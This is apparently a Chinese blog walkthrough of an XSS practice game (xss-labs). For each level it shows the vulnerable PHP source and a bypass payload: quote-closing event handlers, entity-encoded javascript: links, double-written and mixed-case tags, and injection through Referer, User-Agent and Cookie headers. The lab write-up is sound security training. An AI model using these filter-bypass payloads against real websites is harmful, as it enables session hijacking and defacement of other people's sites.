XSS-GAME小游戏

XSS-game

level1

查看源代码,没有任何过滤,直接输入<script>alert(111)</script>,弹框进入下一关

image-20230911090200631

image-20230911085657678

level2

查看源代码,value在input里,需要闭合跳出input

image-20230911091551176

payload如下:

"><script>alert(11)</script>

image-20230911091723338

level3

输入上关的payload,发现双引号被编码了,查看源代码value有个htmlspecialchars()函数对value进行编码,不过input标签没有任何过滤,所以尝试在input 标签中闭合单引号',来触发事件。

htmlspecialchars()

htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体
预定义的字符是:
&(和号) 成为&amp;
" (双引号) 成为 &quot;
' (单引号) 成为 &apos;
< (小于) 成为 &lt;
> (大于) 成为 &gt;

payload如下:

' οnclick=alert('11')//

image-20230911092628441

image-20230911092704773

image-20230911092951249

查看源代码,value被闭合

image-20230911101044906

image-20230911093010769

level4

输入正常语句,查看元素发现<>被删除了,直接看看源代码

image-20230911101846054

image-20230911103953728

发现<>被替换删除了,那么可以用level3的语句,因为那个并没有用到<符号,但是有一点微小的变动,那就是这里是双引号,而上一个是单引号

payload如下:

" onclick=alert('11')//

image-20230911104357385

level5

输入测试语句,发现<script>变成了</scr_ipt>,查看源代码

image-20230911105102711

查看源代码发现<script被替换成<scr_ipton替换成o_n,那就直接换个标签语句,payload如下:

"><a href=javascript:alert('hack') >

image-20230911110716256

image-20230911111207089

level6

输入测试语句,如第五关一样,关键字被替换

image-20230911111258625

查看源代码

<h1 align=center>第6关 嗯 还是搜索</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

发现只有关键字被替换了,但没有对大小写以及双写进行转换或替换,直接大小写绕过,payload如下:

"><scRIpt>alert(1)</scRIpt>

image-20230911112046748

level7

script被删除,查看源代码

image-20230911112139302

<h1 align=center>第7关 猜一猜下面题目还有搜索嘛</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

分析源代码发现,大写被strtolower()函数转换,各类关键字被过滤,试试双写,payload如下:

"><scscriptript>alert(1)</scscriptript>

image-20230911113511940

level8

发现页面有个友情链接,猜测这个链接是利用点,输入<a href="javascript:alert(1)">友情链接</a>,发现javascript变成了javascr_ipt,查看源代码

image-20230911113605988

image-20230912090650250

<title>第8关</title>
</head>
<body>
<h1 align=center>第8关 老铁要和我换友链嘛?</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

分析源代码发现,各类关键字被替换,双引号被编码,大写被转换,测试将script中的某个字母html编码,payload如下:

javascrip&#116:alert(1)

image-20230912153558221

level9

和上一关差不多,一样是利用“友情链接”,不过此处有些不同,查看源代码

image-20230912154546544

<title>第9关</title>
</head>
<body>
<h1 align=center>第9关 添加友连again</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

分析源代码发现“友情链接”处有一个判断语句,用strpos()函数对输入语句进行判断。

strpos()用于查找指定字符串第一次出现的位置,返回整数型。也就是本题判断字符"http://"是否在字符串中出现,如果出现返回友情链接,反之返回链接不合法。测试在keyword变量的最后加上“http://”并将其注释掉,payload如下:

javascrip&#116:alert(1)//http://

image-20230912155656702

level10

达到第10关,发现没有输入框,但url上有一个参数,查看源代码

image-20230912155735040

F12查看前端代码,发现有三个input标签,但输入框都被隐藏掉了,在URL处试试value值是否可变,

keyword=0&t_link=1&t_history=2&t_sort=3

image-20230912160000140

输入上述参数,F12发现t_sort参数可变,查看源代码

image-20230912160142711

<title>第10关</title>
</head>
<body>
<h1 align=center>第10关 嗯 搜索又出现了</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/fed9cb1c-3111-49a8-b111-16081ac4b16c.jpg"></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

根据源代码分析发现,input标签的输入框被隐藏,t_sort的值可变,<>被置空,试试闭合value,并添加一个事件,payload如下:

t_sort=" type="text" οnclick="alert(11)//第一个"是为了闭合value,第二个"是为了闭合onclick

查看源代码可知,value被闭合,新增type和onclick事件

image-20230912160659940

点击text输入框,进入下一关

image-20230912160720124

level11

image-20230912163550642

F12查看源代码,发现比上一关多了一个t_ref,值是上一关的链接,猜测该处可以利用referer,抓包

image-20230912163816887

添加referer参数,输入和上一关一样的payload,放包点击text,顺利通关

image-20230912165404919

image-20230912165425981

level12

image-20230912172236477

F12查看源代码,发现有个t_ua的标签,直接和上一关一样抓包修改UA就成,payload一样

image-20230912172324934

image-20230912172511630

level13

image-20230912172551024

F12查看源代码,发现有个t_cook,和11关一样,直接抓包修改cookie的值,payload和第11关一样

image-20230912172643268

image-20230912172711382

image-20230912172823920

level15

image-20230913095655922

输入keyword=2,页面返回一个2,输入<script>alert(1)</script>,发现script被删除了,查看源代码

image-20230913095720308

image-20230913101650502

<title>第15关</title>
</head>
<body>
<h1 align=center>第15关 厉害了 Word哥</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/9ec67d16-a8b9-41cd-82fa-14b0c0f96e72.gif"</center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>

分析源代码,script、/以及空格都被替换成了&nbsp,直接输出字符串,所以此处使用事件或图片语句,又因为过滤了空格,空格可以用%0a换行符进行绕过,payload如下:

<img%0asrc=1%0aonerror=alert(111)>

image-20230913103958995

image-20230913104152310

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值